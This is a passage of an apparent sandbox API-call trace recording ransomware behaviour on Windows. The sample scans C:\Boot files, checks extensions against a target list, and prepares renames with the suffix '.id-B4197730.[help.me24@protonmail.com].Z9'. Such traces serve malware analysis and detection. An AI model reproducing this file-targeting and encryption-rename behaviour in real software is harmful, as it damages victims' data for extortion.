	[0186.773] FindNextFileW (in: hFindFile=0x4142e98, lpFindFileData=0x2fadf28 | out: lpFindFileData=0x2fadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed49f1d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed49f1d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed49f1d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ja-jp", cAlternateFileName="")) returned 1
	[0186.773] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4f32070 | out: hHeap=0x710000) returned 1
	[0186.773] FindNextFileW (in: hFindFile=0x4142e98, lpFindFileData=0x2fadf28 | out: lpFindFileData=0x2fadf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed49f1d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xeed49f1d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xeed49f1d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nb-no", cAlternateFileName="")) returned 1

Thread:
	id = 44
	os_tid = 0xd98


Thread:
	id = 45
	os_tid = 0xd9c

	[0159.654] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0x10000) returned 0x38c0968
	[0159.655] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0x10000) returned 0x38d0970
	[0159.655] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0x10) returned 0x76ffa0
	[0159.655] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0x6) returned 0x7ad8f8
	[0159.655] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0x10) returned 0x7701e0
	[0159.655] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0x100000) returned 0x3c8b020
	[0159.659] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0x10) returned 0x770180
	[0159.659] RtlReAllocateHeap (Heap=0x710000, Flags=0x0, Ptr=0x770180, Size=0x20) returned 0x74f350
	[0159.659] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0x10) returned 0x76ffd0
	[0159.659] RtlReAllocateHeap (Heap=0x710000, Flags=0x0, Ptr=0x76ffd0, Size=0x20) returned 0x74f288
	[0159.659] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x77030000
	[0159.660] GetProcAddress (hModule=0x77030000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x77046b30
	[0159.660] Wow64DisableWow64FsRedirection (in: OldValue=0x322ff50 | out: OldValue=0x322ff50*=0x0) returned 1
	[0159.660] lstrlenW (lpString="kernel32.dll") returned 12
	[0159.660] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x74f350 | out: hHeap=0x710000) returned 1
	[0159.660] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30
	[0159.660] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x74f288 | out: hHeap=0x710000) returned 1
	[0159.660] Sleep (dwMilliseconds=0x64) 
	[0160.360] lstrcmpiW (lpString1=".MARKER", lpString2=".Z9") returned -1
	[0160.360] lstrlenW (lpString="$WINRE_BACKUP_PARTITION.MARKER") returned 30
	[0160.360] CreateFileW (lpFileName="C:\\$WINRE_BACKUP_PARTITION.MARKER" (normalized: "c:\\$winre_backup_partition.marker"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348
	[0160.364] GetFileSizeEx (in: hFile=0x348, lpFileSize=0x322ff14 | out: lpFileSize=0x322ff14*=0) returned 1
	[0160.364] CloseHandle (hObject=0x348) returned 1
	[0160.364] lstrlenW (lpString="C:\\$WINRE_BACKUP_PARTITION.MARKER") returned 33
	[0160.364] lstrlenW (lpString="C:\\$WINRE_BACKUP_PARTITION.MARKER") returned 33
	[0160.364] lstrlenW (lpString=".doc") returned 4
	[0160.364] lstrcmpiW (lpString1=".doc", lpString2="RKER") returned -1
	[0160.364] lstrlenW (lpString=".docx") returned 5
	[0160.364] lstrcmpiW (lpString1=".docx", lpString2="ARKER") returned -1
	[0160.364] lstrlenW (lpString=".pdf") returned 4
	[0160.364] lstrcmpiW (lpString1=".pdf", lpString2="RKER") returned -1
	[0160.364] lstrlenW (lpString=".xls") returned 4
	[0160.364] lstrcmpiW (lpString1=".xls", lpString2="RKER") returned -1
	[0160.364] lstrlenW (lpString=".xlsx") returned 5
	[0160.364] lstrcmpiW (lpString1=".xlsx", lpString2="ARKER") returned -1
	[0160.364] lstrlenW (lpString=".ppt") returned 4
	[0160.364] lstrcmpiW (lpString1=".ppt", lpString2="RKER") returned -1
	[0160.364] lstrlenW (lpString="C:\\$WINRE_BACKUP_PARTITION.MARKER") returned 33
	[0160.365] lstrlenW (lpString=".zip") returned 4
	[0160.365] lstrcmpiW (lpString1=".zip", lpString2="RKER") returned -1
	[0160.365] lstrlenW (lpString=".rar") returned 4
	[0160.365] lstrcmpiW (lpString1=".rar", lpString2="RKER") returned -1
	[0160.365] lstrlenW (lpString=".bz2") returned 4
	[0160.365] lstrcmpiW (lpString1=".bz2", lpString2="RKER") returned -1
	[0160.365] lstrlenW (lpString=".7z") returned 3
	[0160.365] lstrcmpiW (lpString1=".7z", lpString2="KER") returned -1
	[0160.365] lstrlenW (lpString="C:\\$WINRE_BACKUP_PARTITION.MARKER") returned 33
	[0160.365] lstrlenW (lpString=".dbf") returned 4
	[0160.365] lstrcmpiW (lpString1=".dbf", lpString2="RKER") returned -1
	[0160.365] lstrlenW (lpString="C:\\$WINRE_BACKUP_PARTITION.MARKER") returned 33
	[0160.365] lstrlenW (lpString=".1cd") returned 4
	[0160.365] lstrcmpiW (lpString1=".1cd", lpString2="RKER") returned -1
	[0160.365] lstrlenW (lpString="C:\\$WINRE_BACKUP_PARTITION.MARKER") returned 33
	[0160.365] lstrlenW (lpString=".jpg") returned 4
	[0160.365] lstrcmpiW (lpString1=".jpg", lpString2="RKER") returned -1
	[0160.365] lstrlenW (lpString="C:\\$WINRE_BACKUP_PARTITION.MARKER") returned 33
	[0160.365] lstrlenW (lpString="C:\\$WINRE_BACKUP_PARTITION.MARKER") returned 33
	[0160.365] lstrlenW (lpString=".doc") returned 4
	[0160.365] lstrcmpiW (lpString1=".doc", lpString2="RKER") returned -1
	[0160.365] lstrlenW (lpString=".docx") returned 5
	[0160.365] lstrcmpiW (lpString1=".docx", lpString2="ARKER") returned -1
	[0160.365] lstrlenW (lpString=".pdf") returned 4
	[0160.365] lstrcmpiW (lpString1=".pdf", lpString2="RKER") returned -1
	[0160.365] lstrlenW (lpString=".xls") returned 4
	[0160.365] lstrcmpiW (lpString1=".xls", lpString2="RKER") returned -1
	[0160.365] lstrlenW (lpString=".xlsx") returned 5
	[0160.365] lstrcmpiW (lpString1=".xlsx", lpString2="ARKER") returned -1
	[0160.365] lstrlenW (lpString=".ppt") returned 4
	[0160.365] lstrcmpiW (lpString1=".ppt", lpString2="RKER") returned -1
	[0160.365] lstrlenW (lpString="C:\\$WINRE_BACKUP_PARTITION.MARKER") returned 33
	[0160.365] lstrlenW (lpString=".zip") returned 4
	[0160.366] lstrcmpiW (lpString1=".zip", lpString2="RKER") returned -1
	[0160.366] lstrlenW (lpString=".rar") returned 4
	[0160.366] lstrcmpiW (lpString1=".rar", lpString2="RKER") returned -1
	[0160.366] lstrlenW (lpString=".bz2") returned 4
	[0160.366] lstrcmpiW (lpString1=".bz2", lpString2="RKER") returned -1
	[0160.366] lstrlenW (lpString=".7z") returned 3
	[0160.366] lstrcmpiW (lpString1=".7z", lpString2="KER") returned -1
	[0160.366] lstrlenW (lpString="C:\\$WINRE_BACKUP_PARTITION.MARKER") returned 33
	[0160.366] lstrlenW (lpString=".dbf") returned 4
	[0160.366] lstrcmpiW (lpString1=".dbf", lpString2="RKER") returned -1
	[0160.366] lstrlenW (lpString="C:\\$WINRE_BACKUP_PARTITION.MARKER") returned 33
	[0160.366] lstrlenW (lpString=".1cd") returned 4
	[0160.366] lstrcmpiW (lpString1=".1cd", lpString2="RKER") returned -1
	[0160.366] lstrlenW (lpString="C:\\$WINRE_BACKUP_PARTITION.MARKER") returned 33
	[0160.366] lstrlenW (lpString=".jpg") returned 4
	[0160.366] lstrcmpiW (lpString1=".jpg", lpString2="RKER") returned -1
	[0160.366] Sleep (dwMilliseconds=0x64) 
	[0160.635] Sleep (dwMilliseconds=0x64) 
	[0160.865] lstrcmpiW (lpString1=".LOG1", lpString2=".Z9") returned -1
	[0160.865] lstrlenW (lpString="BCD.LOG1") returned 8
	[0160.865] CreateFileW (lpFileName="C:\\Boot\\BCD.LOG1" (normalized: "c:\\boot\\bcd.log1"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394
	[0160.871] GetFileSizeEx (in: hFile=0x394, lpFileSize=0x322ff14 | out: lpFileSize=0x322ff14*=0) returned 1
	[0160.871] CloseHandle (hObject=0x394) returned 1
	[0160.871] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16
	[0160.871] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16
	[0160.871] lstrlenW (lpString=".doc") returned 4
	[0160.871] lstrcmpiW (lpString1=".doc", lpString2="LOG1") returned -1
	[0160.872] lstrlenW (lpString=".docx") returned 5
	[0160.872] lstrcmpiW (lpString1=".docx", lpString2=".LOG1") returned -1
	[0160.878] lstrlenW (lpString=".pdf") returned 4
	[0160.878] lstrcmpiW (lpString1=".pdf", lpString2="LOG1") returned -1
	[0160.878] lstrlenW (lpString=".xls") returned 4
	[0160.878] lstrcmpiW (lpString1=".xls", lpString2="LOG1") returned -1
	[0160.878] lstrlenW (lpString=".xlsx") returned 5
	[0160.878] lstrcmpiW (lpString1=".xlsx", lpString2=".LOG1") returned 1
	[0160.878] lstrlenW (lpString=".ppt") returned 4
	[0160.878] lstrcmpiW (lpString1=".ppt", lpString2="LOG1") returned -1
	[0160.878] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16
	[0160.878] lstrlenW (lpString=".zip") returned 4
	[0160.878] lstrcmpiW (lpString1=".zip", lpString2="LOG1") returned -1
	[0160.878] lstrlenW (lpString=".rar") returned 4
	[0160.878] lstrcmpiW (lpString1=".rar", lpString2="LOG1") returned -1
	[0160.878] lstrlenW (lpString=".bz2") returned 4
	[0160.878] lstrcmpiW (lpString1=".bz2", lpString2="LOG1") returned -1
	[0160.878] lstrlenW (lpString=".7z") returned 3
	[0160.878] lstrcmpiW (lpString1=".7z", lpString2="OG1") returned -1
	[0160.878] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16
	[0160.878] lstrlenW (lpString=".dbf") returned 4
	[0160.878] lstrcmpiW (lpString1=".dbf", lpString2="LOG1") returned -1
	[0160.878] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16
	[0160.878] lstrlenW (lpString=".1cd") returned 4
	[0160.878] lstrcmpiW (lpString1=".1cd", lpString2="LOG1") returned -1
	[0160.878] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16
	[0160.879] lstrlenW (lpString=".jpg") returned 4
	[0160.879] lstrcmpiW (lpString1=".jpg", lpString2="LOG1") returned -1
	[0160.879] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16
	[0160.879] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16
	[0160.879] lstrlenW (lpString=".doc") returned 4
	[0160.879] lstrcmpiW (lpString1=".doc", lpString2="LOG1") returned -1
	[0160.879] lstrlenW (lpString=".docx") returned 5
	[0160.879] lstrcmpiW (lpString1=".docx", lpString2=".LOG1") returned -1
	[0160.879] lstrlenW (lpString=".pdf") returned 4
	[0160.879] lstrcmpiW (lpString1=".pdf", lpString2="LOG1") returned -1
	[0160.879] lstrlenW (lpString=".xls") returned 4
	[0160.879] lstrcmpiW (lpString1=".xls", lpString2="LOG1") returned -1
	[0160.879] lstrlenW (lpString=".xlsx") returned 5
	[0160.879] lstrcmpiW (lpString1=".xlsx", lpString2=".LOG1") returned 1
	[0160.879] lstrlenW (lpString=".ppt") returned 4
	[0160.879] lstrcmpiW (lpString1=".ppt", lpString2="LOG1") returned -1
	[0160.879] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16
	[0160.879] lstrlenW (lpString=".zip") returned 4
	[0160.879] lstrcmpiW (lpString1=".zip", lpString2="LOG1") returned -1
	[0160.879] lstrlenW (lpString=".rar") returned 4
	[0160.879] lstrcmpiW (lpString1=".rar", lpString2="LOG1") returned -1
	[0160.879] lstrlenW (lpString=".bz2") returned 4
	[0160.879] lstrcmpiW (lpString1=".bz2", lpString2="LOG1") returned -1
	[0160.879] lstrlenW (lpString=".7z") returned 3
	[0160.879] lstrcmpiW (lpString1=".7z", lpString2="OG1") returned -1
	[0160.879] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16
	[0160.879] lstrlenW (lpString=".dbf") returned 4
	[0160.879] lstrcmpiW (lpString1=".dbf", lpString2="LOG1") returned -1
	[0160.879] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16
	[0160.879] lstrlenW (lpString=".1cd") returned 4
	[0160.879] lstrcmpiW (lpString1=".1cd", lpString2="LOG1") returned -1
	[0160.879] lstrlenW (lpString="C:\\Boot\\BCD.LOG1") returned 16
	[0160.879] lstrlenW (lpString=".jpg") returned 4
	[0160.879] lstrcmpiW (lpString1=".jpg", lpString2="LOG1") returned -1
	[0160.880] lstrcmpiW (lpString1=".LOG2", lpString2=".Z9") returned -1
	[0160.880] lstrlenW (lpString="BCD.LOG2") returned 8
	[0160.880] CreateFileW (lpFileName="C:\\Boot\\BCD.LOG2" (normalized: "c:\\boot\\bcd.log2"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394
	[0160.880] GetFileSizeEx (in: hFile=0x394, lpFileSize=0x322ff14 | out: lpFileSize=0x322ff14*=0) returned 1
	[0160.880] CloseHandle (hObject=0x394) returned 1
	[0160.880] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16
	[0160.880] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16
	[0160.880] lstrlenW (lpString=".doc") returned 4
	[0160.880] lstrcmpiW (lpString1=".doc", lpString2="LOG2") returned -1
	[0160.880] lstrlenW (lpString=".docx") returned 5
	[0160.880] lstrcmpiW (lpString1=".docx", lpString2=".LOG2") returned -1
	[0160.880] lstrlenW (lpString=".pdf") returned 4
	[0160.880] lstrcmpiW (lpString1=".pdf", lpString2="LOG2") returned -1
	[0160.881] lstrlenW (lpString=".xls") returned 4
	[0160.881] lstrcmpiW (lpString1=".xls", lpString2="LOG2") returned -1
	[0160.881] lstrlenW (lpString=".xlsx") returned 5
	[0160.881] lstrcmpiW (lpString1=".xlsx", lpString2=".LOG2") returned 1
	[0160.881] lstrlenW (lpString=".ppt") returned 4
	[0160.881] lstrcmpiW (lpString1=".ppt", lpString2="LOG2") returned -1
	[0160.881] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16
	[0160.881] lstrlenW (lpString=".zip") returned 4
	[0160.881] lstrcmpiW (lpString1=".zip", lpString2="LOG2") returned -1
	[0160.881] lstrlenW (lpString=".rar") returned 4
	[0160.881] lstrcmpiW (lpString1=".rar", lpString2="LOG2") returned -1
	[0160.881] lstrlenW (lpString=".bz2") returned 4
	[0160.881] lstrcmpiW (lpString1=".bz2", lpString2="LOG2") returned -1
	[0160.881] lstrlenW (lpString=".7z") returned 3
	[0160.881] lstrcmpiW (lpString1=".7z", lpString2="OG2") returned -1
	[0160.881] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16
	[0160.881] lstrlenW (lpString=".dbf") returned 4
	[0160.881] lstrcmpiW (lpString1=".dbf", lpString2="LOG2") returned -1
	[0160.881] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16
	[0160.881] lstrlenW (lpString=".1cd") returned 4
	[0160.881] lstrcmpiW (lpString1=".1cd", lpString2="LOG2") returned -1
	[0160.881] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16
	[0160.881] lstrlenW (lpString=".jpg") returned 4
	[0160.881] lstrcmpiW (lpString1=".jpg", lpString2="LOG2") returned -1
	[0160.881] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16
	[0160.881] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16
	[0160.881] lstrlenW (lpString=".doc") returned 4
	[0160.881] lstrcmpiW (lpString1=".doc", lpString2="LOG2") returned -1
	[0160.881] lstrlenW (lpString=".docx") returned 5
	[0160.881] lstrcmpiW (lpString1=".docx", lpString2=".LOG2") returned -1
	[0160.881] lstrlenW (lpString=".pdf") returned 4
	[0160.881] lstrcmpiW (lpString1=".pdf", lpString2="LOG2") returned -1
	[0160.881] lstrlenW (lpString=".xls") returned 4
	[0160.881] lstrcmpiW (lpString1=".xls", lpString2="LOG2") returned -1
	[0160.881] lstrlenW (lpString=".xlsx") returned 5
	[0160.882] lstrcmpiW (lpString1=".xlsx", lpString2=".LOG2") returned 1
	[0160.882] lstrlenW (lpString=".ppt") returned 4
	[0160.882] lstrcmpiW (lpString1=".ppt", lpString2="LOG2") returned -1
	[0160.882] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16
	[0160.882] lstrlenW (lpString=".zip") returned 4
	[0160.882] lstrcmpiW (lpString1=".zip", lpString2="LOG2") returned -1
	[0160.882] lstrlenW (lpString=".rar") returned 4
	[0160.882] lstrcmpiW (lpString1=".rar", lpString2="LOG2") returned -1
	[0160.882] lstrlenW (lpString=".bz2") returned 4
	[0160.882] lstrcmpiW (lpString1=".bz2", lpString2="LOG2") returned -1
	[0160.882] lstrlenW (lpString=".7z") returned 3
	[0160.882] lstrcmpiW (lpString1=".7z", lpString2="OG2") returned -1
	[0160.882] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16
	[0160.882] lstrlenW (lpString=".dbf") returned 4
	[0160.882] lstrcmpiW (lpString1=".dbf", lpString2="LOG2") returned -1
	[0160.882] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16
	[0160.882] lstrlenW (lpString=".1cd") returned 4
	[0160.882] lstrcmpiW (lpString1=".1cd", lpString2="LOG2") returned -1
	[0160.882] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16
	[0160.882] lstrlenW (lpString=".jpg") returned 4
	[0160.882] lstrcmpiW (lpString1=".jpg", lpString2="LOG2") returned -1
	[0160.882] lstrcmpiW (lpString1=".mui", lpString2=".Z9") returned -1
	[0160.882] lstrlenW (lpString="bootmgr.exe.mui") returned 15
	[0160.882] CreateFileW (lpFileName="C:\\Boot\\bg-BG\\bootmgr.exe.mui" (normalized: "c:\\boot\\bg-bg\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394
	[0160.883] GetFileSizeEx (in: hFile=0x394, lpFileSize=0x322ff14 | out: lpFileSize=0x322ff14*=77664) returned 1
	[0160.883] CloseHandle (hObject=0x394) returned 1
	[0160.883] GetFileAttributesW (lpFileName="C:\\Boot\\bg-BG\\bootmgr.exe.mui" (normalized: "c:\\boot\\bg-bg\\bootmgr.exe.mui")) returned 0x20
	[0160.883] GetFileAttributesW (lpFileName="C:\\Boot\\bg-BG\\bootmgr.exe.mui.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\boot\\bg-bg\\bootmgr.exe.mui.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0160.883] CreateFileW (lpFileName="C:\\Boot\\bg-BG\\bootmgr.exe.mui" (normalized: "c:\\boot\\bg-bg\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0160.883] lstrlenW (lpString="C:\\Boot\\bg-BG\\bootmgr.exe.mui") returned 29
	[0160.883] lstrlenW (lpString="C:\\Boot\\bg-BG\\bootmgr.exe.mui") returned 29
	[0160.883] lstrlenW (lpString=".doc") returned 4
	[0160.883] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1
	[0160.883] lstrlenW (lpString=".docx") returned 5
	[0160.883] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1
	[0160.883] lstrlenW (lpString=".pdf") returned 4
	[0160.883] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1
	[0160.883] lstrlenW (lpString=".xls") returned 4
	[0160.883] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1
	[0160.883] lstrlenW (lpString=".xlsx") returned 5
	[0160.883] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1
	[0160.883] lstrlenW (lpString=".ppt") returned 4
	[0160.883] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1
	[0160.883] lstrlenW (lpString="C:\\Boot\\bg-BG\\bootmgr.exe.mui") returned 29
	[0160.883] lstrlenW (lpString=".zip") returned 4
	[0160.883] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1
	[0160.884] lstrlenW (lpString=".rar") returned 4
	[0160.884] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1
	[0160.884] lstrlenW (lpString=".bz2") returned 4
	[0160.884] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1
	[0160.884] lstrlenW (lpString=".7z") returned 3
	[0160.884] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1
	[0160.884] lstrlenW (lpString="C:\\Boot\\bg-BG\\bootmgr.exe.mui") returned 29
	[0160.884] lstrlenW (lpString=".dbf") returned 4
	[0160.884] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1
	[0160.884] lstrlenW (lpString="C:\\Boot\\bg-BG\\bootmgr.exe.mui") returned 29
	[0160.884] lstrlenW (lpString=".1cd") returned 4
	[0160.884] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1
	[0160.884] lstrlenW (lpString="C:\\Boot\\bg-BG\\bootmgr.exe.mui") returned 29
	[0160.884] lstrlenW (lpString=".jpg") returned 4
	[0160.884] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1
	[0160.884] lstrlenW (lpString="C:\\Boot\\bg-BG\\bootmgr.exe.mui") returned 29
	[0160.884] lstrlenW (lpString="C:\\Boot\\bg-BG\\bootmgr.exe.mui") returned 29
	[0160.884] lstrlenW (lpString=".doc") returned 4
	[0160.884] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1
	[0160.884] lstrlenW (lpString=".docx") returned 5
	[0160.884] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1
	[0160.884] lstrlenW (lpString=".pdf") returned 4
	[0160.884] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1
	[0160.884] lstrlenW (lpString=".xls") returned 4
	[0160.884] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1
	[0160.884] lstrlenW (lpString=".xlsx") returned 5
	[0160.884] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1
	[0160.884] lstrlenW (lpString=".ppt") returned 4
	[0160.884] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1
	[0160.884] lstrlenW (lpString="C:\\Boot\\bg-BG\\bootmgr.exe.mui") returned 29
	[0160.884] lstrlenW (lpString=".zip") returned 4
	[0160.884] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1
	[0160.884] lstrlenW (lpString=".rar") returned 4
	[0160.884] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1
	[0160.885] lstrlenW (lpString=".bz2") returned 4
	[0160.885] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1
	[0160.885] lstrlenW (lpString=".7z") returned 3
	[0160.885] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1
	[0160.885] lstrlenW (lpString="C:\\Boot\\bg-BG\\bootmgr.exe.mui") returned 29
	[0160.885] lstrlenW (lpString=".dbf") returned 4
	[0160.885] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1
	[0160.885] lstrlenW (lpString="C:\\Boot\\bg-BG\\bootmgr.exe.mui") returned 29
	[0160.885] lstrlenW (lpString=".1cd") returned 4
	[0160.885] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1
	[0160.885] lstrlenW (lpString="C:\\Boot\\bg-BG\\bootmgr.exe.mui") returned 29
	[0160.885] lstrlenW (lpString=".jpg") returned 4
	[0160.885] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1
	[0160.885] lstrcmpiW (lpString1=".dll", lpString2=".Z9") returned -1
	[0160.885] lstrlenW (lpString="bootspaces.dll") returned 14
	[0160.885] CreateFileW (lpFileName="C:\\Boot\\bootspaces.dll" (normalized: "c:\\boot\\bootspaces.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394
	[0160.887] GetFileSizeEx (in: hFile=0x394, lpFileSize=0x322ff14 | out: lpFileSize=0x322ff14*=95648) returned 1
	[0160.887] CloseHandle (hObject=0x394) returned 1
	[0160.887] GetFileAttributesW (lpFileName="C:\\Boot\\bootspaces.dll" (normalized: "c:\\boot\\bootspaces.dll")) returned 0x20
	[0160.887] GetFileAttributesW (lpFileName="C:\\Boot\\bootspaces.dll.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\boot\\bootspaces.dll.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0160.887] CreateFileW (lpFileName="C:\\Boot\\bootspaces.dll" (normalized: "c:\\boot\\bootspaces.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0160.888] lstrlenW (lpString="C:\\Boot\\bootspaces.dll") returned 22
	[0160.888] lstrlenW (lpString="C:\\Boot\\bootspaces.dll") returned 22
	[0160.888] lstrlenW (lpString=".doc") returned 4
	[0160.888] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0160.888] lstrlenW (lpString=".docx") returned 5
	[0160.888] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1
	[0160.888] lstrlenW (lpString=".pdf") returned 4
	[0160.888] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0160.888] lstrlenW (lpString=".xls") returned 4
	[0160.888] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0160.888] lstrlenW (lpString=".xlsx") returned 5
	[0160.888] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1
	[0160.888] lstrlenW (lpString=".ppt") returned 4
	[0160.888] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0160.888] lstrlenW (lpString="C:\\Boot\\bootspaces.dll") returned 22
	[0160.888] lstrlenW (lpString=".zip") returned 4
	[0160.888] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0160.888] lstrlenW (lpString=".rar") returned 4
	[0160.888] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0160.888] lstrlenW (lpString=".bz2") returned 4
	[0160.888] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0160.888] lstrlenW (lpString=".7z") returned 3
	[0160.888] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0160.888] lstrlenW (lpString="C:\\Boot\\bootspaces.dll") returned 22
	[0160.888] lstrlenW (lpString=".dbf") returned 4
	[0160.888] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0160.888] lstrlenW (lpString="C:\\Boot\\bootspaces.dll") returned 22
	[0160.888] lstrlenW (lpString=".1cd") returned 4
	[0160.888] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0160.888] lstrlenW (lpString="C:\\Boot\\bootspaces.dll") returned 22
	[0160.888] lstrlenW (lpString=".jpg") returned 4
	[0160.888] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0160.888] lstrlenW (lpString="C:\\Boot\\bootspaces.dll") returned 22
	[0160.889] lstrlenW (lpString="C:\\Boot\\bootspaces.dll") returned 22
	[0160.889] lstrlenW (lpString=".doc") returned 4
	[0160.889] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0160.889] lstrlenW (lpString=".docx") returned 5
	[0160.889] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1
	[0160.889] lstrlenW (lpString=".pdf") returned 4
	[0160.889] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0160.889] lstrlenW (lpString=".xls") returned 4
	[0160.889] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0160.889] lstrlenW (lpString=".xlsx") returned 5
	[0160.889] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1
	[0160.889] lstrlenW (lpString=".ppt") returned 4
